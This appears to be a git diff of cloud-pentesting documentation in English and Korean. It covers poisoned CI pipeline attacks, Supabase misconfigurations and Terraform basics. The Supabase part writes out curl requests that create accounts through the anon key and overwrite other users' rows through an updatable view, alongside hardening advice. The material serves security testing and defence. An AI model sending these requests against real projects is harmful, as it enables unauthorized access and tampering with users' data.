- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies 등 리포지토리에 접근하기 위해 탈취될 수 있는 여러 종류의 토큰이 있습니다.
- **Webhooks**: VCS 플랫폼은 webhooks를 생성할 수 있게 합니다. 만약 webhooks가 보이지 않는 비밀로 **보호되고 있지 않다면** **공격자가 악용할 수 있습니다**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** 악의적인 행위자가 리포지토리에 대한 **write** 권한을 가지고 있다면, 그는 **악성 코드 삽입**을 시도할 수 있습니다. 성공하려면 **branch protections을 우회**해야 할 수도 있습니다. 이러한 행위는 다양한 목적을 가질 수 있습니다:
- main branch를 손상시켜 **production을 침해**.
- main(또는 다른) branch를 손상시켜 **개발자 머신을 침해**(개발자들이 리포에서 테스트, terraform 등 작업을 실행하는 경우).
- **Compromise the pipeline** (check next section)
## Pipelines Pentesting Methodology
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
파이프라인을 정의하는 가장 일반적인 방법은 **파이프라인이 빌드하는 리포지토리에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 job의 순서, 흐름에 영향을 주는 조건, 빌드 환경 설정 등을 설명합니다.
이 파일들은 일반적으로 일관된 이름과 형식을 가집니다. 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 그리고 .github/workflows 아래의 GitHub Actions YAML 파일들. 트리거되면 파이프라인 job은 선택된 소스(예: commit / branch)에서 **코드를 pull**하고, CI 구성 파일에 지정된 **명령을 해당 코드에 대해 실행**합니다.
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
따라서 공격자의 궁극적인 목표는 어떻게든 이러한 구성 파일들이나 **실행하는 명령들**을 **compromise**하는 것입니다.
> [!TIP]
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
### PPE - Poisoned Pipeline Execution
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
The Poisoned Pipeline Execution (PPE) 경로는 SCM 리포지토리의 권한을 악용하여 CI 파이프라인을 조작하고 유해한 명령을 실행하게 합니다. 필요한 권한을 가진 사용자는 CI 구성 파일이나 파이프라인 job에서 사용하는 다른 파일을 수정하여 악성 명령을 포함시킬 수 있습니다. 이렇게 CI 파이프라인을 "poison"하면 이 악성 명령들이 실행됩니다.
For a malicious actor to be successful performing a PPE attack he needs to be able to:
공격자가 PPE 공격을 성공적으로 수행하려면 다음이 필요합니다:
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- Note that sometimes an **external PR count as "write access"**.
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- For this, he might need to be able to **bypass branch protections**.
- **VCS platform에 대한 write access**를 가지고 있어야 합니다. 보통 파이프라인은 push나 pull request가 발생하면 트리거되기 때문입니다. (VCS pentesting methodology를 참조하세요.)
- 외부 PR이 때때로 **"write access"로 간주**되기도 한다는 점에 유의하세요.
- 설령 write 권한이 있더라도, 그는 **CI config 파일이나 config가 의존하는 다른 파일들을 수정할 수 있는지** 확신해야 합니다.
- 이를 위해서는 **branch protections을 우회**할 수 있어야 할 수도 있습니다.
There are 3 PPE flavours:
PPE에는 3가지 변형이 있습니다:
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
- **D-PPE**: **Direct PPE** 공격은 행위자가 **실행될 CI config** 파일을 직접 **수정**할 때 발생합니다.
- **I-DDE**: **Indirect PPE** 공격은 행위자가 CI config가 의존하는 **파일**(예: make file이나 terraform 구성)을 **수정**할 때 발생합니다.
- **Public PPE or 3PE**: 경우에 따라 파이프라인은 repo에 write access가 없는 사용자(조직의 일원이 아닐 수도 있음)가 보낸 PR에 의해 **트리거**될 수 있습니다.
- **3PE Command Injection**: 일반적으로 CI/CD 파이프라인은 PR에 대한 정보를 **환경 변수**로 설정합니다. 만약 그 값이 공격자에 의해 제어될 수 있고(예: PR 제목) **위험한 위치**(예: sh 명령 실행)에 사용된다면, 공격자는 그 안에 **명령 주입**을 할 수 있습니다.
### Exploitation Benefits
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
세 가지 PPE 변형을 알았으니, 성공적인 exploitation 후 공격자가 얻을 수 있는 것을 살펴봅시다:
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
- **Secrets**: 앞서 언급했듯이 파이프라인은 코드 검색, 빌드, 배포 등을 위해 **privileges**를 필요로 하며 이 권한들은 보통 **secrets**로 부여됩니다. 이러한 secrets는 보통 **env variables**나 시스템 내부의 파일로 접근 가능합니다. 따라서 공격자는 가능한 많은 secrets를 항상 탈취하려고 할 것입니다.
- 파이프라인 플랫폼에 따라 공격자는 **config에 secrets를 명시해야 하는 경우**가 있습니다. 즉, 공격자가 CI 구성 파이프라인 자체를 수정할 수 없다면(**I-PPE** 같은 경우), 그는 **그 파이프라인이 가진 secrets만** 탈취할 수 있습니다.
- **Computation**: 코드가 어딘가에서 실행되므로, 실행 위치에 따라 공격자는 추가적인 피벗을 시도할 수 있습니다.
- **On-Premises**: 파이프라인이 온프레미스에서 실행된다면, 공격자는 **내부 네트워크에 접근**하여 더 많은 자원에 접근할 수 있습니다.
- **Cloud**: 공격자는 클라우드 내의 다른 머신에 접근하거나 IAM roles/service accounts **tokens**를 탈취하여 클라우드 내부에서 **추가 접근 권한**을 획득할 수 있습니다.
- **Platforms machine**: 때때로 job은 **pipelines platform machines** 내부에서 실행되며, 이들은 보통 추가 접근 권한이 없는 클라우드 내의 머신일 수 있습니다.
- **Select it:** 때때로 **pipelines platform은 여러 머신을 구성**해 두고 있으며, CI 구성 파일을 수정할 수 있다면 **악성 코드를 어느 머신에서 실행할지 지정**할 수 있습니다. 이런 경우 공격자는 가능한 각 머신에 대해 리버스 쉘을 실행하여 추가 취약점을 노릴 것입니다.
- **Compromise production**: 파이프라인 내부에 있고 최종 버전이 거기서 빌드되어 배포된다면, 프로덕션에서 실행될 코드를 **침해**할 수 있습니다.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 는 새로운 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)를 기반으로 소프트웨어 공급망 스택의 보안 컴플라이언스를 감사하는 오픈소스 도구입니다. 이 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 단계에서 배포 단계까지의 위험을 드러낼 수 있습니다.
### Top 10 CI/CD Security Risk
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Cider에 따른 top 10 CI/CD 위험에 관한 흥미로운 글을 확인하세요: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
- 로컬에서 실행할 수 있는 각 플랫폼에 대해 로컬에서 어떻게 실행하는지 설명되어 있으므로 원하는 대로 구성하여 테스트할 수 있습니다.
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**는 infrastructure-as-code에 대한 정적 코드 분석 도구입니다.
## References

File diff suppressed because it is too large Load Diff

View File

@@ -1,50 +1,49 @@
# Supabase Security
# Supabase 보안
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
### Subdomain
### 서브도메인
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
기본적으로 프로젝트가 생성되면 사용자에게 다음과 같은 supabase.co 서브도메인이 부여됩니다: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Database configuration**
## **데이터베이스 구성**
> [!TIP]
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
> **이 데이터는 `https://supabase.com/dashboard/project/<project-id>/settings/database` 같은 링크에서 접근할 수 있습니다**
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
The password is a **password the user put** previously.
이 **데이터베이스**는 특정 AWS 리전에 배포되며, 연결하려면 다음과 같은 주소로 연결하면 됩니다: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (이 예시는 us-west-1에 생성되었습니다).
비밀번호는 **사용자가 이전에 설정한 비밀번호**입니다.
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
따라서 서브도메인이 알려져 있고 사용자 이름으로 사용되며 AWS 리전이 제한적이기 때문에 **brute force the password**를 시도해 볼 수 있습니다.
This section also contains options to:
이 섹션에는 다음 옵션들도 포함됩니다:
- Reset the database password
- Configure connection pooling
- Configure SSL: Reject plan-text connections (by default they are enabled)
- Configure Disk size
- Apply network restrictions and bans
- 데이터베이스 비밀번호 재설정
- 연결 풀(connection pooling) 구성
- SSL 구성: 평문 연결 거부(기본값으로 평문 연결이 허용되어 있음)
- 디스크 크기 구성
- 네트워크 제한 및 차단 적용
## API Configuration
## API 구성
> [!TIP]
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
> **이 데이터는 `https://supabase.com/dashboard/project/<project-id>/settings/api` 같은 링크에서 접근할 수 있습니다**
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
프로젝트의 supabase API에 접근하는 URL은 다음과 같습니다: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api keys
### anon API 키
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
또한 **anon API key** (`role: "anon"`), : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` 이 생성되며, 애플리케이션이 API에 접근하기 위해 사용해야 합니다.
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
이 API와 통신할 REST API는 [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)에서 확인할 수 있지만, 가장 흥미로운 엔드포인트는 다음과 같습니다:
<details>
<summary>Signup (/auth/v1/signup)</summary>
<summary>회원가입 (/auth/v1/signup)</summary>
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
<details>
<summary>Login (/auth/v1/token?grant_type=password)</summary>
<summary>로그인 (/auth/v1/token?grant_type=password)</summary>
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,10 +97,9 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
따라서 클라이언트가 부여받은 서브도메인으로 supabase를 사용하고 있는 것을 발견하면(회사 도메인의 서브도메인이 supabase 서브도메인에 CNAME을 설정했을 가능성이 있음), **supabase API를 사용해 플랫폼에 새 계정을 생성해 볼 수 있습니다**.
### secret / service_role api keys
@@ -115,69 +111,65 @@ The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzd
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
## Authentication
## 인증
### Signups
### 회원가입
> [!TIP]
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
> 기본적으로 supabase는 앞서 언급한 API 엔드포인트를 사용해 **새 사용자가 프로젝트에 계정을 생성하는 것**을 허용합니다.
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
그러나 이러한 새 계정은 기본적으로 **로그인하려면 이메일 주소를 검증해야 합니다**. 이메일 검증 없이 로그인할 수 있도록 **"Allow anonymous sign-ins"**를 활성화할 수 있습니다. 이 경우 사용자들은 이메일 확인 없이 로그인할 수 있으며, **예상치 못한 데이터**에 접근할 수 있게 될 수 있습니다(이들은 `public` `authenticated` 역할을 부여받습니다).\
이것은 매우 나쁜 생각입니다. supabase는 활성 사용자 수에 따라 요금을 청구하므로 사람들이 계정을 생성하고 로그인하면 supabase에 비용이 발생합니다:
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
#### Auth: Server-side signup enforcement
#### Auth: 서버 측 회원가입 제어
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
Quick test (from an unauthenticated client):
프론트엔드에서 가입 버튼을 숨기는 것만으로는 충분하지 않습니다. **Auth 서버가 여전히 가입을 허용하면**, 공격자는 퍼블릭 `anon` 키로 API를 직접 호출해 임의의 사용자를 생성할 수 있습니다.
빠른 테스트 (비인증 클라이언트에서):
```bash
curl -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
```
Expected hardening:
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
- Verify the API now returns 4xx to the previous call and no new user is created.
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
- API가 이전 호출에 대해 이제 4xx를 반환하고 새로운 사용자가 생성되지 않는지 확인하세요.
- invites 또는 SSO에 의존하는 경우, 명시적으로 필요하지 않은 모든 다른 providers는 비활성화되어 있는지 확인하세요.
## RLS and Views: Write bypass via PostgREST
## RLS Views: PostgREST를 통한 쓰기 우회
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that dont match the view predicate may still succeed.
Postgres VIEW를 사용해 민감한 컬럼을 “숨기고” 이를 PostgREST로 노출하면 권한 평가 방식이 달라질 수 있습니다. PostgreSQL에서는:
- 일반적인 views는 기본적으로 view owner의 권한으로 실행됩니다 (definer semantics). PG ≥15에서는 `security_invoker`를 선택할 수 있습니다.
- Row Level Security (RLS) base tables에 적용됩니다. Table owners는 테이블에 `FORCE ROW LEVEL SECURITY`가 설정되지 않은 한 RLS를 우회합니다.
- Updatable views INSERT/UPDATE/DELETE를 받아 base table에 적용될 수 있습니다. `WITH CHECK OPTION`이 없으면 view 조건에 맞지 않는 쓰기 요청도 성공할 수 있습니다.
Risk pattern observed in the wild:
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owners privileges, effectively bypassing the intended RLS policies on the base table.
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
현장에서 관찰된 위험 패턴:
- 컬럼을 줄인 view가 Supabase REST를 통해 노출되고 `anon`/`authenticated`에 권한이 부여된다.
- PostgREST는 updatable view에 대한 DML을 허용하고, 해당 연산은 view owner의 권한으로 평가되어 base table에 대한 의도된 RLS 정책을 사실상 우회한다.
- 결과: 권한이 낮은 클라이언트가 수정해서는 안 되는 행들(예: profile bios/avatars)을 대량으로 편집할 수 있다.
Illustrative write via view (attempted from a public client):
```bash
curl -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
```
Hardening checklist for views and RLS:
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
- If you must expose a view:
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invokers privileges are used instead of the owners.
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invokers privileges are used instead of the owners.
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
Detection tip:
@@ -188,85 +180,82 @@ Detection tip:
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
Fetch the OpenAPI (works with the public anon key):
```bash
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
```
Probe pattern (examples):
- Read a single row (expect 401/403/200 depending on RLS):
프로브 패턴 (예시):
- 단일 행 읽기 (RLS에 따라 401/403/200 예상):
```bash
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
```
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
- UPDATE가 차단되었는지 테스트 (테스트 중 데이터 변경을 피하려면 존재하지 않는 filter를 사용하세요):
```bash
curl -i -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
- Test INSERT is blocked:
- INSERT 테스트가 차단됨:
```bash
curl -i -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
```
- Test DELETE is blocked:
- DELETE 테스트가 차단됨:
```bash
curl -i -X DELETE \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
Recommendations:
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
- Treat every exposed table/view/function as a first-class surface. Dont assume a view “inherits” the same RLS posture as its base tables.
### Passwords & sessions
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
It's recommended to **improve the requirements as the default ones are weak**.
최소 비밀번호 길이(기본값), 요구사항(기본적으로 없음)을 지정하고 leaked passwords 사용을 금지할 수 있습니다.
기본 요구사항이 약하므로 **요구사항을 강화하는 것이 권장됩니다**.
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
- Bot and Abuse Protection: It's possible to enable Captcha.
- User Sessions: 사용자 세션 동작(타임아웃, 1 사용자당 1 세션 등)을 구성할 수 있습니다.
- Bot and Abuse Protection: Captcha를 활성화할 수 있습니다.
### SMTP Settings
It's possible to set an SMTP to send emails.
이메일 전송을 위해 SMTP를 설정할 수 있습니다.
### Advanced Settings
- Set expire time to access tokens (3600 by default)
- Set to detect and revoke potentially compromised refresh tokens and timeout
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
- 잠재적으로 compromised refresh tokens를 탐지하고 폐기하며 타임아웃을 설정합니다
- MFA: 사용자당 동시에 등록할 수 있는 MFA 요소 수를 지정합니다(기본값 10)
- Max Direct Database Connections: 인증에 사용되는 최대 연결 수(기본값 10)
- Max Request Duration: Auth 요청이 허용되는 최대 지속 시간(기본값 10s)
## Storage
> [!TIP]
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
> Supabase는 파일을 저장하고 URL을 통해 접근 가능하게 만들 수 있습니다 (S3 buckets를 사용합니다).
- Set the upload file size limit (default is 50MB)
- 업로드 파일 크기 제한을 설정합니다(기본값 50MB)
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
## Edge Functions
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
supabase에도 **secrets를 저장**할 수 있으며 이는 **edge functions에서 접근 가능**합니다(웹에서 생성 및 삭제할 수 있지만, 값 자체에는 직접 접근할 수 없습니다).
## References

View File

@@ -1,138 +1,128 @@
# Terraform Security
# Terraform 보안
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
[From the docs:](https://developer.hashicorp.com/terraform/intro)
[문서에서:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
HashiCorp Terraform은 사람이 읽을 수 있는 구성 파일에서 클라우드 및 온프레미스 리소스를 정의할 수 있게 해주는 인프라를 코드로 관리하는 도구입니다. 이러한 구성 파일은 버전 관리, 재사용 및 공유가 가능하며, 일관된 워크플로우를 사용해 인프라의 전체 수명주기 동안 프로비저닝 및 관리를 수행할 수 있습니다. Terraform은 compute, storage, networking 같은 저수준 구성요소뿐만 아니라 DNS 엔트리나 SaaS 기능 같은 고수준 구성요소도 관리할 수 있습니다.
#### How does Terraform work?
#### Terraform은 어떻게 동작하나요?
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
Terraform은 클라우드 플랫폼 및 기타 서비스의 API를 통해 리소스를 생성하고 관리합니다. Providers Terraform이 접근 가능한 API를 가진 거의 모든 플랫폼이나 서비스와 작동할 수 있게 합니다.
![](<../images/image (177).png>)
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
